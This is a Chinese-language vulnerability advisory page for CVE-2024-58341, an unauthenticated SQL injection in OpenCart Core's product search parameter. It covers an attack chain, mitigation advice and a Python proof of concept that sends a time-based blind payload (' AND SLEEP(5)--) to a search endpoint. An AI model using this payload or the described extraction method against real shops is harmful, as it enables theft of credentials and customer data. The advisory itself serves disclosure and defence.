IPBUF安全漏洞报告
English
CVE-2024-58341 CVSS 8.2 高危

CVE-2024-58341 OpenCart Core SQL注入漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2024-58341
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenCart Core

相关标签

SQL注入OpenCart无需认证信息泄露盲注

漏洞概述

OpenCart Core 4.0.2.3版本存在严重的SQL注入漏洞。由于产品搜索接口未对'search'参数进行严格过滤,未经身份验证的攻击者可通过构造恶意GET请求,利用布尔盲注或时间盲注技术操纵数据库查询。此漏洞可能导致敏感数据库信息泄露,包括用户凭据和商业数据,对系统机密性构成重大威胁。

技术细节

该漏洞源于OpenCart Core在处理产品搜索请求时,后端代码将用户输入的'search'参数直接拼接到SQL查询语句中,缺乏有效的预编译处理或严格的输入清洗机制。攻击者无需登录即可向受影响的端点发送包含恶意SQL代码的GET请求。在利用过程中,攻击者可采用布尔盲注技术,根据应用返回结果的差异(如HTTP状态码或页面内容)推断数据库信息;或采用时间盲注技术,通过注入如SLEEP(5)等函数导致数据库响应延迟,从而逐位提取数据。此过程允许攻击者枚举数据库表结构、窃取管理员密码哈希、用户信息及敏感配置数据,为进一步获取系统控制权奠定基础。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是OpenCart Core 4.0.2.3或更早版本,并确认产品搜索功能可访问。
STEP 2
武器化
攻击者构造恶意的SQL注入Payload,例如基于时间的盲注Payload(' AND SLEEP(5)--)。
STEP 3
交付
攻击者向目标服务器的产品搜索端点发送包含恶意'search'参数的GET请求。
STEP 4
利用
服务器后端将Payload拼接到SQL语句中执行,导致数据库查询延迟或返回特定响应。
STEP 5
数据窃取
攻击者通过分析响应时间或内容差异,逐位提取数据库中的敏感信息(如管理员密码)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_sqli(target_url): """ PoC for CVE-2024-58341 - Time-Based Blind SQL Injection """ # Payload to trigger a 5-second delay payload = { "search": "' AND (SELECT SLEEP(5))-- " } try: print(f"Sending request to: {target_url}") response = requests.get(target_url, params=payload, timeout=10) # Check if the response took longer than 5 seconds if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: The application responded slowly, indicating SQL injection.") else: print("[-] Vulnerability Not Detected: Response time was normal.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com/index.php?route=product/search" verify_sqli(target)

影响范围

OpenCart Core <= 4.0.2.3

防御指南

临时缓解措施
建议立即在Web应用防火墙(WAF)中部署规则,拦截针对'search'参数的常见SQL注入攻击模式。在无法立即升级的情况下,可临时限制搜索功能的访问权限或禁用该功能直至修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表